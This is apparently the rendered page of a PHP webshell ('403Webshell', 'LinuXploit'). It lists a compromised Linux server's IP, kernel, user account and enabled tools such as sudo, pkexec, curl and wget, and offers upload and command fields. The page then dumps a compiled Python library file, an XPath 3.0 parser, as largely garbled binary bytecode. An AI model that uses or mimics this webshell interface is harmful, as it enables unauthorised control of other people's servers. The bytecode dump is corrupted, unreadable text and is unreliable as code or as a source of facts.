403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/elementpath/xpath30/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/elementpath/xpath30/__pycache__/xpath30_parser.cpython-39.opt-1.pyc
a

���c���@s�dZddlZddlZddlZddlZddlmmZddlmZddl	m
Z
ddlmZddl
mZmZddlmZmZmZdd	lmZmZmZmZmZmZmZmZmZmZmZm Z dd
l!m"Z"m#Z#ddl$m%Z%ddl&m'Z'dd
l(m)Z)m*Z*m+Z+m,Z,m-Z-ddl.m/Z/m0Z0ddl1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9deZ:deZ;deZ<deZ=deZ>deZ?deZ@deZAdeZBdeZCdeZDGdd�de'�ZEeEjFZFeEjGZGeEjHZHeEjIZIeEjJZJeFd�eE�Kd�eFde"fd �eId�d!d"��ZLeE�Md#d$�eE�Kd#�eE�Kd%�eFd#�eFd%d&d'�eE�Kd(�eIeFd(d)d)d*d+��d,d-��ZNeId(�d.d/��ZOeId(�d�d0d1��ZPeId(�d�d2d3��ZQeIeHd4d5d'��d�d6d7��ZReIeHd8d9d'���dd:d;��ZSeIeFd<d=d=d>d?��d@dA��ZTeId<��ddBdC��ZUeIeFdDdEdFe#fdG��dHdI��ZVeIdD��ddJdK��ZWeIeJdLdMddNdO���ddPdQ��ZXeIeJdRdMddSdO���ddTdU��ZYeIeJdVdMddSdO���ddWdX��ZZeIeJdYdMddSdO���ddZd[��Z[eIeJd\dMddSdO���dd]d^��Z\eIeJd_dMdd`dO���ddadb��Z]eIeJdcdMddSdO���d	ddde��Z^eIeJdfdMddSdO���d
dgdh��Z_eIeJdidMddSdO���ddjdk��Z`eIeJdldMddSdO���ddmdn��ZaeIeJdodMddSdO���d
dpdq��ZbeIeJdrdMddSdO���ddsdt��ZceIeJdudMddSdO���ddvdw��ZdeIeJdxdMddydO���ddzd{��ZeeIeJd|d}d~d���dd�d���ZfeIeJd�d}d�d���dd�d���ZgeIeJd�d�d�d���dd�d���ZheIeJd�d�d�d���dd�d���ZieIeJd�d�d�d���dd�d���ZjeIeJd�d}d�d���dd�d���ZkeIeJd�d�d�d���dd�d���ZleIeJd�d�d�d���dd�d���ZmeIeJd�dd�d���dd�d���ZneIeJd�dd�d���dd�d���ZoeIeJd�dd�d���dd�d���ZpeIeJd�dd�d���dd�d���ZqeIeJd�d�d�d���dd�d���ZreIeJd�d�d�d���dd�d���ZseIeJd�d�d�d��eIeJd�d�d�d���dd�d����ZteIeJd�d�d�d���d d�d���ZueIeJd�dd�d���d!d�dĄ�ZveIeJd�dd�d���d"d�dȄ�ZweIeJd�dd�d��eIeJd�dd�d���d#d�d΄��ZxeIeJd�d�d�d���d$d�d҄�ZyeIeJd�dd�d���d%d�dք�ZzeIeJd�dd�d���d&d�dڄ�Z{eIeJd�dd�d���d'd�dބ�Z|eId�d�d'�d�d��Z}eId߃�d(d�d��Z~eIeJd�dd�d���d)d�d��ZeIeJd�dd�d���d*d�d��Z�eIeJd�d�d�d���d+d�d��Z�eIeJd�d�d�d���d,d�d��Z�eIeJd�d�d�d���d-d�d���Z�eE�Kd��eIeJd�d�d�d���d.d�d���Z�dS(/z�
XPath 3.0 implementation

Refs:
  - https://www.w3.org/TR/2014/REC-xpath-30-20140408/
  - https://www.w3.org/TR/xpath-functions-30/
�N)�copy)�urlsplit�)�ElementPathError)�XML_NEWLINES_PATTERN�is_xml_codepoint)�XPATH_FUNCTIONS_NAMESPACE�XPATH_MATH_FUNCTIONS_NAMESPACE�#XSLT_XQUERY_SERIALIZATION_NAMESPACE)�etree_iter_paths�
is_xpath_node�is_element_node�is_document_node�is_etree_element�is_schema_node�TypedElement�TextNode�
AttributeNode�TypedAttribute�
NamespaceNode�	XPathNode)�
ValueToken�
XPathFunction)�XPathSchemaContext)�XPath2Parser)�NumericProxy�QName�Date10�
DateTime10�Time)�translate_pattern�
RegexError�)�UNICODE_DIGIT_PATTERN�DECIMAL_DIGIT_PATTERN�MODIFIER_PATTERN�int_to_roman�int_to_alphabetic�int_to_numeric�int_to_words�parse_datetime_picturez{%s}serialization-parametersz{%s}omit-xml-declarationz{%s}use-character-mapsz{%s}character-mapz
{%s}methodz
{%s}indentz{%s}versionz{%s}cdata-section-elementsz{%s}suppress-indentationz{%s}standalonez{%s}item-separatorcsPeZdZdZdZejhd�BZdeiej�Zej	�
�Z	dd��fdd�
Z�ZS)	�
XPath30Parsera�
    XPath 3.0 expression parser class. Accepts all XPath 2.0 options as keyword
    arguments, but the *strict* option is ignored because XPath 3.0+ has braced
    URI literals and the expanded name syntax is not compatible.

    :param args: the same positional arguments of class :class:`XPath2Parser`.
    :param decimal_formats: a mapping with statically known decimal formats.
    :param kwargs: the same keyword arguments of class :class:`XPath2Parser`.
    z3.0>4�for-each�analyze-string�	parse-xml�
function-name�function-lookup�head�#�unparsed-text-lines�environment-variable�uri-collection�function�atan2�atan�exp10�format-time�?�filter�cos�path�
unparsed-text�generate-id�available-environment-variables�sin�log10�exp�	innermost�format-date�:=�
format-number�let�
for-each-pair�sqrt�pow�Q{�unparsed-text-available�tan�	fold-left�asin�acos�	outermost�function-arity�pi�||�parse-xml-fragment�
fold-right�format-integer�has-children�!�format-dateTime�log�tail�	serialize�mathN)�decimal_formatscs8|�dd�tt|�j|i|��|dur.|ni|_dS)N�strict)�pop�superr+�__init__ra)�selfra�args�kwargs��	__class__��F/usr/lib/python3.9/site-packages/elementpath/xpath30/xpath30_parser.pyremszXPath30Parser.__init__)
�__name__�
__module__�__qualname__�__doc__�versionrZSYMBOLSr	ZDEFAULT_NAMESPACESZfunction_signaturesrre�
__classcell__rkrkrirlr+8s	$��
r+rGr;)�basescCs|S�Nrk�rfrkrkrl�nud_optional_symbol�srv�{rM�}�d)�bp�(�P�
expression)�lbpZrpb�labelcCs2|jjjdkr"|j��f|dd�<|j�d�|S)N�))�parser�
next_token�symbolr}�advancerurkrkrl�nud_parenthesized_expression�sr�cCsz|jdks"|jdkr6|djdkr6|�dd�|j���|jjjdkr\||j��f|dd�<n|f|dd�<|j�d�|S)N�(name)�:r"�XPST0017zunknown function {!r}r�)r��error�format�valuer�r�r}r��rf�leftrkrkrl�led_parenthesized_expression�s"r�cCs|t|�dkr"|r|d�|�SgS|d�|�}t|t�rNt|�dkrN|d}t|t�sn|�dd�t|����|||d�S)Nrrr"r��$an XPath function expected, not {!r})�len�evaluate�
isinstance�listrr�r��type�rf�context�resultrkrkrl�!evaluate_parenthesized_expression�s
r�ccs�t|�dkr.|r|d�|�ntd�EdHnX|d�|�}t|t�s\|�dd�t|����|||d�}t|t	�r�|EdHn|VdS)Nrrrkr�r�r")
r��select�iterr�r�rr�r�r�r�)rfr�r�r�rkrkrl�select_parenthesized_expression�s"

r�rV� cCs$|�|�|��|�|j|dd��S)Nr"��index)�string_value�get_argument�rfr�rkrkrl�evaluate_union_operator�s�r�r[�Hccs�|dur|���|�|d�D]�|_|d�t|��D]f}t|ttf�sZt|d�sZ|Vq6t|t	�rl|Vq6t|t
�r~|Vq6|Vt|t�r6|d�|�q6qdS)Nrr"�tag)
�missing_contextZinner_focus_select�itemr�rr��tupler�hasattrrrrZadd_xsd_typer�rkrkrl�select_simple_map_operator�s


r�rI�zlet expression)r~�rbprcCs�|dd�=|jjjdkr6|jjd|j|j�}|��S|jj�d�|j�d�}|�|�|j�d�|j�d�}|�|�|jjjdkr�q�|j��q6|j�d�|�|j�d��|S)N�$r��rG�,�return)	r�r�r��symbol_table�nud�expectedr}�appendr�)rf�tokenZvariable�exprrkrkrl�nud_let_expression�s 


r�c#s��dur����t����fdd�tdt��dd�D�}��fdd�tdt��dd�D�}�j�dd�t||�D���d	���EdHdS)
Ncsg|]}�|dj�qS)r)r���.0�krurkrl�
<listcomp>��z)select_let_expression.<locals>.<listcomp>rr"rcsg|]}�|�t����qSrk)r�rr��r�rfrkrlr��r�css|]
}|VqdSrtrk�r��xrkrkrl�	<genexpr>r�z(select_let_expression.<locals>.<genexpr>���)r�r�ranger�Z	variables�update�zipr�)rfr�Zvarnames�valuesrkr�rl�select_let_expression�s"$r�r6�Zzinline function)rzrrscCs|jjjdkr,|jjd|j|j�}|��S|j�d�g|_|jjjdk�r|jj�d�|j�d�}|�	|�|jjjdkr�|j�d�|j�d�}|j
}|j�|�s�|�dd��|j�	|�n|j�	d	�|jj�dd
�|jjjd
kr>|j��|jj�
d�q>|j�d�|jjjdk�r2|j�	d	�n�|j�d�|jjjdv�r\|j�dd�|jjd
d�}|jjj}|jdk�r�|dv�r�|jj||j�f|j��|j
|}n|j
}|j�|��s�|�dd��|j�	|�|j�d�|j��|_|j�d�|S)Nr{r�r�r�r��asZXPST0003za sequence type expected�item()*r�)z	kind testz
sequence typer�r��r�zempty-sequence>�*r;�+rwrx)r�r�r�r�r�r��sequence_typesr�r}r��sourceZis_sequence_typer�Z
unexpectedrZ
expected_namer�)rfr�ZparamZ
sequence_typeZnext_symbolrkrkrl�nud_inline_functionsR



r�cCs|dur|���|j�|�Srt)r�r�r�r�rkrkrl�evaluate_inline_function?sr�rUz
math function)�	xs:double)r�nargsr�cCstjSrt)r`rUr�rkrkrl�evaluate_pi_functionHsr�rD)�
xs:double?r�cCs$|j|td�}|dur t�|�SdS�N��cls)r�rr`rD�rfr��argrkrkrl�evaluate_exp_functionMsr�r9cCs&|j|td�}|dur"td|�SdS)Nr��
)r�r�floatr�rkrkrl�evaluate_exp10_functionUsr�r]cCs@|j|td�}|dur<|s"td�S|dkr2td�St�|�SdS�Nr�z-infr��nan)r�rr�r`r]r�rkrkrl�evaluate_log_function]sr�rCcCs@|j|td�}|dur<|s"td�S|dkr2td�St�|�SdSr�)r�rr�r`rCr�rkrkrl�evaluate_log10_functionesr�rL)r�Znumericr�cCs�|j|td�}|j|ddtd�}|dur�|sX|dkrX|ddkrPt�td�|�Std�Szt||�WSty�td�YS0dS)	Nr�r"T�r��requiredr�rr�infr�)r�rr`Zcopysignr��	TypeError�rfr�r��yrkrkrl�evaluate_pow_functionms$r�rKcCs4|j|td�}|dur0|dkr&td�St�|�SdS)Nr�rr�)r�rr�r`rKr�rkrkrl�evaluate_sqrt_function|s
r�rBcCs6|j|td�}|dur2t�|�r(td�St�|�SdS�Nr�r�)r�rr`�isinfr�rBr�rkrkrl�evaluate_sin_function�s

r�r=cCs6|j|td�}|dur2t�|�r(td�St�|�SdSr�)r�rr`r�r�r=r�rkrkrl�evaluate_cos_function�s

r�rOcCs6|j|td�}|dur2t�|�r(td�St�|�SdSr�)r�rr`r�r�rOr�rkrkrl�evaluate_tan_function�s

r�rQcCs<|j|td�}|dur8|dks&|dkr.td�St�|�SdS�Nr�r�r"r�)r�rr�r`rQr�rkrkrl�evaluate_asin_function�s
r�rRcCs<|j|td�}|dur8|dks&|dkr.td�St�|�SdSr�)r�rr�r`rRr�rkrkrl�evaluate_acos_function�s
r�r8cCs$|j|td�}|dur t�|�SdSr�)r�rr`r8r�rkrkrl�evaluate_atan_function�sr�r7)r�r�r�cCs,|j|td�}|j|ddtd�}t�||�S)Nr�r"Tr�)r�rr`r7r�rkrkrl�evaluate_atan2_function�sr�rY)r�)zxs:integer?�	xs:string�
xs:string?r�)r�r�cs�|j|td�}|j|ddtd�}|j|dtd�}|dur<dSd|vrP|d}}n|�dd�\}}t�|�durx|�d	��|s�|�d	���n�|d
v�r*|dkr�t||�}n�|dkr�t||���}nh|d
kr�t	|��
�}nR|dkr�t	|�}n@|dk�r�t|||�S|dk�rt|||���St|||���Sn�t
�|�du�rfd}|D]}|���rB�qZ�qBt||�}n�t�|�du�r�d}	|�d	|	��n�t
�|�}
t|
d��t�fdd�|
dd�D���r�d}	|�d	|	��nD|d���r�d|v�rd}	|�d	|	��n|ddk�r|�d	d��t||
d|�}|�d��r�|�rDt|�dk�rNd�|�St|�dk�rfd�|�St|�dk�r~d�|�Sd�|�S|S)Nr�r"Tr�r�r�r���;ZFODF1310>�I�w�i�a�W�AZWwr�r�r�r�r�r��1z4picture argument has an invalid primary format tokenrc3s|]}t|��dkVqdS)r�N)�ord)r�Zch�Zcprkrlr��r�z3evaluate_format_integer_function.<locals>.<genexpr>z;picture argument mixes digits from different digit familiesr2z$invalid grouping in picture argument�or�z{}thz{}stz{}ndz{}rd)r�r�str�rsplitr%�matchr�r'�upperr&�lowerr)�titler#�search�isalphar$�findallr�any�isdigitr(�
startswith�absr�)rfr�r��pictureZlang�	fmt_tokenZfmt_modifierr�Z	base_char�msg�digitsrkrrl� evaluate_format_integer_function�sp







 




rrH)znumeric?r�r�r�cCs|j|td�}|durdSdS�Nr�r�)r�r�rfr�r�rkrkrl�evaluate_format_number_functionsrr\)rr�)zxs:dateTime?r�r�r�r�r�cCs|j|td�}|durdSdSr)r�rrrkrkrl�!evaluate_format_datetime_functionsrrF)zxs:date?r�r�r�r�r�cCs|j|td�}|durdSdSr�)r�rrrkrkrl�evaluate_format_date_function)srr:)zxs:time?r�r�r�r�r�c
Csr|j|td�}|j|ddtd�}zt|�\}}Wn,ty\}z||_�WYd}~n
d}~00|D]&}|ddvrbd�|�}|�d|��qb|dur�dSt|||�g}	t	t
|��D]�}
|	�||
�||
d}|d	kr�||
d
d�}|j}
|�s
|	�t|
��
d��q�|��r�|�d��rB|	�t|j��d�dt
|���q�|	�t|j��
d��q�|	�|d�d�|	�S)
Nr�r"Tr�ZYMDdFWwz&Invalid time formatting component {!r}ZFOFD1350r��frr��0)r�rrr*rr�r�r��printr�r�r�Zmicrosecond�stripr
r�lstrip�join)rfr�r�r�literalsZmarkers�errZmrkrr�r�Z	componentrZ
item_valuerkrkrl�evaluate_format_time_function4s:
$r"r-)r�r�r�z!element(fn:analyze-string-result)c
Cs�|j|dtd�}|j|ddtd�}d}t|�dkrv|j|ddtd�D]0}|dvrd|tt|���O}qD|�d	d
|��qDz"t|||jj	�}tj
||d�}Wnxtjtfy�}z(d}	|�d
|	�t|���d�WYd}~n<d}~0t
�y}z|�d
|�d�WYd}~n
d}~00|�d�du�r.|�dd��d}
d}d}dg}
|jD]x}|�rVd}nf|dk�rfd}nV|�r||dk�r�d}n@|dk�r�d}n0|dk�r�|
�|
�|
d7}
n|dk�rF|
d8}
�qF|du�r�tn|j}d�t�g}d}|t|�k�r�|�||�}|du�r(|�d�||d����q��q�|���s�|��\}}||k�r`|�d�|||���|�d�|||���|}�q�|��\}}||k�r�|�d�|||���|}g}d}d}d}td|jd�D�]�}|�|�\}}|dk�r��q�n@||k�r6|�r$t|�D]}|�d��qd}|�|||��||k�r�|
||
|dk�rtt|�D]}|�d��q^d}|�|�|��|}n�||jk�r�|}|�|�||||���|�d�n�|�|d�d}|dk�s||k�s||k�r0|
|d|
|k�r0|}|�|�||||���|�d�n&|}|�|�||||���|d7}�q�t|�D]}|�d��qb|�d�d�|����q�|�d�|�d�|��S)Nr���defaultr�r"T�r�r�rrZsmixZFORX0001z"Invalid regular expression flag %r)�flagszInvalid regular expression: {}ZFORX0002ZFORX0003z$pattern matches a zero-length stringF�\�]�[r{r�z"<analyze-string-result xmlns="{}">z<non-match>{}</non-match>z<match>{}</match>z<group nr="{}">{}z<group nr="{}"/>z</group>z</analyze-string-result>)r�rr��getattr�rerr�r r��xsd_version�compiler!r��
OverflowErrorr�patternr��ElementTree�etreerr	�groups�spanr�r�XML)rfr�Zinput_stringr/r&�cZpython_patternZcompiled_patternr!r�levelZescapedZ
char_classZgroup_levels�sr1�linesr�r�start�stopZmatch_itemsZ
group_tmplZempty_group_tmplZunclosed_groups�idx�_Z
next_startrkrkrl� evaluate_analyze_string_functioncs�,$














�
r=r>)rr")�node()?r�cCs�|dur|���n>t|t�r dS|s:|jdur2dS|j}n|�|�}|durPdSt|�r\dSt|t�rn|j}nt|�r||}n|j	}z|j
��}Wn ty�|j
}dt
}Yn0d|j}t||�D]\}}||ur�|Sq�dS)N�/zQ{%s}root()z/%s)r�r�rr�r�rr�elemr�_elem�root�getroot�AttributeErrorrr�r)rfr�r�r@rBr>�erkrkrl�evaluate_path_function�s6





rFrZ)r>�
xs:booleancCs�|dur|���n^|sF|jdur*t|j�S|j}t|�sp|�dd��n*|�|�}|dur\dSt|�sp|�dd��t|�p�t|�r�t|�dkp�|j	dup�t
|t�o�t|j�dkp�|jj	duS)N�XPTY0004zcontext item must be a nodeFzargument must be a noder)
r�r�rrBrr�r�r
r��textr�rr@�rfr�r�rkrkrl�evaluate_has_children_function�s$



�"�rKrE)�node()*rLc#s��dur|���t���dd�|d���D�}tdd�|D��rN|�dd���fdd	�|D�����fd
d�|D��EdHdS)NcSsg|]}|�qSrkrk�r�rErkrkrlr�r�z-select_innermost_function.<locals>.<listcomp>rcss|]}t|�VqdSrt�rr�rkrkrlr�r�z,select_innermost_function.<locals>.<genexpr>rH� argument must contain only nodescs$h|]�_�jdd�D]}|�qqS)�ancestor�Zaxis)r��iter_ancestorsr�)r�rkrl�	<setcomp>r�z,select_innermost_function.<locals>.<setcomp>csg|]}|�vr|�qSrkrkr�)�	ancestorsrkrlr�r��r�rr�rr�Ziter_results)rfr��nodesrk)rTr�rl�select_innermost_functionsrWrSc#sr�dur|���t���dd�|d���D��tdd��D��rN|�dd������fdd	��D��EdHdS)
NcSsh|]}|�qSrkrkrMrkrkrlrS(r�z,select_outermost_function.<locals>.<setcomp>rcss|]}t|�VqdSrtrNr�rkrkrlr�)r�z,select_outermost_function.<locals>.<genexpr>rHrOcs2g|]*�_t�fdd��jdd�D��r�j�qS)c3s|]}|�vVqdSrtrkr�)rVrkrlr�.r�z7select_outermost_function.<locals>.<listcomp>.<genexpr>rPrQ)r��allrR)r��r�rVrkrlr�,s�z-select_outermost_function.<locals>.<listcomp>rUr�rkrYrl�select_outermost_function"s�rZr1)r�zitem()?cCs|d�|�D]
}|SdS�Nr)r�rJrkrkrl�evaluate_head_function4sr\r^ccs*t|d�|��D]\}}|r|VqdSr[)�	enumerater�)rfr�r�r�rkrkrl�select_tail_function:sr^r@)r>r�cCsR|j|dd�}|durdSt|�s@|r2|�dd��|�dd��nd�t|��SdS)NT)Zdefault_to_contextr�rHzargument is not a nodezcontext item is not a nodezID-{})r�rr�r��idr�rkrkrl�evaluate_generate_id_functionAsr`r5)r��
xs:anyURI*c	Cs�|�|�}|dur|���n�t|t�r*dS|r6|durT|jdurL|�dd��|j}nz|�|�}z|j|}Wn`tt	fy�t
|�}|jdvr�|j�
d�s�|j�d�r�|�dd��|�dd�|��d�Yn0|j�|d	�s�|�d
��|S)NZFODC0002z/no default resource collection has been defined)r��filer�r?ZFODC0003zcollection URI is a directoryz{!r} collection not foundraz,Type does not match sequence type xs:anyURI*)r�r�r�rZdefault_resource_collectionr��get_absolute_uriZresource_collections�KeyErrorr�r�schemer>r�endswithr�r�Zmatch_sequence_typeZwrong_sequence_type)rfr��uriZresource_collectionZ	url_partsrkrkrl� evaluate_uri_collection_functionNs0






�
�
rhr?)r"r)r�r�r�r3)r�r��
xs:string*c
Cs6ddlm}ddlm}|j|td�}|dur2dSt|�jrF|�d��t	|�dkrf|j|ddtd�}nd	}z|�
|�}Wnty�|�d�d�Yn0zt�
|�Wnty�|�d
�d�Yn0z4||��}|��}Wd�n1s�0YWnht|f�yb}	zJt|	�}
d|
v�s6d|
v�s6d
|
v�rB|�d�d�|�d
�d�WYd}	~	n
d}	~	00zt�||�}Wn`t�y�t	|�dk�r�|�d
�d�zt�|d�}Wn t�y�|�d
�d�Yn0Yn0tdd�|D���s�|�d
��|�d�}|jdk�r2t�|�}|ddk�r.|dd�S|S|S)Nr��urlopen��URLErrorr�ZFOUT1170r"Tr��UTF-8ZFOUT1190zNo such filezunknown url typezHTTP Error 404�UTF-16css|]}tt|��VqdSrt�rr�r�r7rkrkrlr��r�z3evaluate_unparsed_text_functions.<locals>.<genexpr>ur3r�r�)�urllib.requestrk�urllib.errorrmr�rr�fragmentr�r�rc�
ValueError�codecs�lookup�LookupError�read�decode�UnicodeDecodeErrorrXrr�r�split)
rfr�rkrm�href�encodingrg�rp�objr!�messagerIr8rkrkrl� evaluate_unparsed_text_functionsks\


*
��"


r�rN)r�r�rGc	CsLddlm}ddlm}|j|td�}|dur2dSt|�jr@dSt|�dkr`|j|ddtd�}nd	}zH|�	|�}t
�|�||��}|��}Wd�n1s�0YWnt
|tfy�YdS0ztd
d�t
�||�D��WSt�yFt|�dk�rYdSz tdd�t
�|d
�D��WYSt�y@YYdS0Yn0dS)Nrrjrlr�Fr"Tr�rncss|]}tt|��VqdSrtrprqrkrkrlr��r�z<evaluate_unparsed_text_available_function.<locals>.<genexpr>css|]}tt|��VqdSrtrprqrkrkrlr��r�ro)rrrkrsrmr�rrrtr�rcrvrwryrurxrXrzr{)	rfr�rkrmr}r~rgrr�rkrkrl�)evaluate_unparsed_text_available_function�s4



* r�r4)r�r�cCs<|j|dtd�}|dur"|���n|js,dStj�|�SdS)NTr%)r�rr��allow_environment�os�environ�get)rfr��namerkrkrl�&evaluate_environment_variable_function�s
r�rA)ricCs*|dur|���n|jsdSttj�SdSrt)r�r�r�r�r�r�rkrkrl�1evaluate_available_environment_variables_function�s

r�r.)r�zdocument-node(element(*))?rW)r�zdocument-node()?cCs||j|td�}|durdS|dur&tn|j}|jdkr@d�|�}z|�|�}Wn|jyl|�d��Yn0|�|�SdS)Nr�rWz<document>{}</document>ZFODC0006)	r�rr0r1r�r�r4Z
ParseErrorr�)rfr�r�r1rBrkrkrl�evaluate_parse_xml_functions�s

r�r_)r�z)element(output:serialization-parameters)?r�cCs�t|�dkr|j|dd�nd}|dur<d}t�|�t��}n t|�sFn|jtkr\|�	dd��|durjt}nP|j
}|jr�|j��D]\}}|�
||�q�n"|jj��D]\}}|�
||�q�d}i}i}	t|��rjt|�tdd	�|D��kr�|�	d
��|D�]n}
|
jtk�rN|
�d�}|dv�s.t|
j�dk�r:|�	d
��n|dk�rhd|d<q�|
jtk�rVt|
j��rp|�	d
��|
D]�}|jtk�r�|�	d
��zb|jd}
|
|	v�r�d}|�	d|�|
���n$t|
�dk�r�d}|�	d
|�|
���|jd|	|
<Wn>t�y.}z$d}|�	d
|�|��d�WYd}~n*d}~00t|j�dk�rtd}|�	d
|���qtq�|
jtk�r�|
�d�}|dv�s�t|
j�dk�r�|�	d
��|dk�r�|nd|d<q�|
jtk�r�|
�d�}|dv�s�t|
j�dk�rh|�	d
��q�|
jtk�r"z|
jd}Wn t�y|�	d
�d�Yn0q�|
jtk�r0q�|
jtk�r>q�|
jtk�rLq�|
j�dt���r�|�	d
��q�g}|d�|�D]�}t|��r�|��}n�t|t ��r�|j!}ntt|t"t#t$f��r�|�	d��nVt|t%��r�|�&|j'��q|n8t|��s|�&t(|���q|nt)|d��s|t*|��r�q|z&|�&|j+|fd d!i|���,d!��Wn.t-�yp|�&|j+|d!d"��,d!��Yn0�q||	�s�|�.|�S|�.|�}|	��D]\}
}|�/|
|�}�q�|S)#Nrr"r�z4<output:serialization-parameters xmlns:output="{}"/>rHz,output:serialization-parameters tag expected�
cSsh|]
}|j�qSrk)r�rMrkrkrlrSr�z.evaluate_serialize_function.<locals>.<setcomp>ZSEPM0019r�>Zyes�noZSEPM0017r�TZxml_declaration�	characterz)duplicate character {!r} in character mapZSEPM0018z'invalid character {!r} in character mapz
map-stringzmissing {} in character mapz"invalid attribute in character map>rI�xhtmlZxml�htmlr�r��methodrwrZSENR0001r,r~zutf-8)r~)0r�r�r0r4r�r
rr��SERIALIZATION_PARAMSr�r1�
namespaces�itemsZregister_namespacer��SER_PARAM_OMIT_XML_DECLARATIONr�Zattrib�SER_PARAM_USE_CHARACTER_MAPS�SER_PARAM_CHARACTER_MAPrd�SER_PARAM_METHOD�SER_PARAM_INDENT�SER_PARAM_ITEM_SEPARATOR�SER_PARAM_CDATA�SER_PARAM_NO_INDENT�SER_PARAM_STANDALONErr�rrCr�rr@rrrrr�r�rr�rZtostringrzr�r�replace)rfr��paramsZtmplr1ZpfxrgZitem_separatorrhZ
character_map�childr�rEr�r�key�chunksr�r�Z
map_stringrkrkrl�evaluate_serialize_function�s�










*





&$

r�r0)zxs:QName�
xs:integerzfunction(*)?c	Csh|j|td�}|j|dtd�}z|jj|j|j|d�WSttfyb|�dd�	|j���Yn0dS)Nr�r"r��r�r��unknown function {})
r�r�intr�r��
local_namerdr�r�r��rfr�Zqname�arityrkrkrl�!evaluate_function_lookup_function�sr�r/)�function(*)z	xs:QName?cCs:t|dt�r|d}n|j|td�}|jdur4gS|jS�Nrr�)r�rr�r��rfr��funcrkrkrl�evaluate_function_name_function�s
r�rT)r�r�cCs,t|dt�r|djS|j|td�}|jSr�)r�rr�r�r�rkrkrl� evaluate_function_arity_function�s
r�r2�2cCs:|�ddd�||jjdd�f|dd�<|d�d�|S)Nr�r�rMr�r�r"z	(integer))r�r�r}r�rkrkrl�led_function_reference�sr�c	Cs�|djdkr*t|ddj|dj�}n>|djdkrXt|ddj|ddj�}ntt|dj�}|dj}z|jj|j|j|d�WStt	fy�|�
dd�|j���Yn0dS)Nrr�r"rMr�r�r�)r�r�	namespacer�rr�r�r�rdr�r�r�r�rkrkrl�evaluate_function_reference�s 
r�r,)r�zfunction(item()) as item()*r�ccs�|djdkr|ddn|d}t|t�s<|j|dtd�}|d�t|��D].}|||gd�}t|t�rv|EdHqN|VqNdS�Nr"r�r�r�Z
argument_list�r�r�rr�r�rr�)rfr�r�r�r�rkrkrl�select_for_each_function�s"

r�r<)r�zfunction(item()) as xs:booleanr�ccsr|djdkr|ddn|d}t|t�s<|j|dtd�}|d�t|��D]}|�|||gd��rN|VqNdSr�)r�r�rr�r�rZ
boolean_value)rfr�r�r�rkrkrl�select_filter_function�s"
r�rPr�)r�r�z$function(item()*, item()) as item()*r�ccs�|djdkr|ddn|d}t|t�s<|j|dtd�}|j|dd�}|}|d�t|��D]}||||gd�}q`t|t�r�|EdHn|VdS)Nrr�r"r�r�rr�r�)rfr�r��zeror�r�rkrkrl�select_fold_left_function�s"

r�rXccs�|djdkr|ddn|d}t|t�s<|j|dtd�}|j|dd�}|}dd�|d�t|��D�}t|�D]}||||gd	�}qrt|t�r�|EdHn|VdS)
Nrr�r"r�r�cSsg|]}|�qSrkrkr�rkrkrlr��r�z.select_fold_right_function.<locals>.<listcomp>rr�)r�r�rr�r�r�reversedr�)rfr�r�r�r�Zsequencer�rkrkrl�select_fold_right_function�s"

r�rJ)r�r�z#function(item(), item()) as item()*r�ccs�|djdkr|ddn|d}t|t�s<|j|dtd�}t|t�sZ|�dd�|���n|jdkrp|�dd��t|d�t	|��|d�t	|���D]4\}}||||gd	�}t|t
�r�|EdHq�|Vq�dS)
Nrr�r"r�rHz"invalid type for 3rd argument {!r}z(function arity of 3rd argument must be 2rr�)r�r�rr�r�r�r�r�r�rr�)rfr�r�Zitem1Zitem2r�rkrkrl�select_for_each_pair_functions"


.
r�zstring-join)rir�r�cs4�fdd��d�|�D�}�j|ddtd��|�S)Ncsg|]}��|��qSrk)r�rqrurkrlr�r�z1evaluate_string_join_function.<locals>.<listcomp>rr"r�r#)r�r�rr)rfr�r�rkrurl�evaluate_string_join_functionsr�)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)N)�rpr�r+rvr`Zxml.etree.ElementTreer1r0r�urllib.parser�
exceptionsrZhelpersrrr�rr	r
Zxpath_nodesrrr
rrrrrrrrrZxpath_tokenrrZ
xpath_contextrZxpath2rZ	datatypesrrrrrZregexr r!Zxpath30_formatsr#r$r%r&r'r(r)r*r�r�r�r�r�r�ZSER_PARAM_VERSIONr�r�r�r�r+�register�literalZinfixr�r6Z
unregisterrvZ	duplicater�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr"r=rFrKrWrZr\r^r`rhr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rkrkrkrl�<module>
s�8(=









7
�
�
�
�
�
�
�
�
�
�
�
�
��H����,�r$
���:�#�
����	

�
�
���
�

Youez - 2016 - github.com/yon3zu
LinuXploit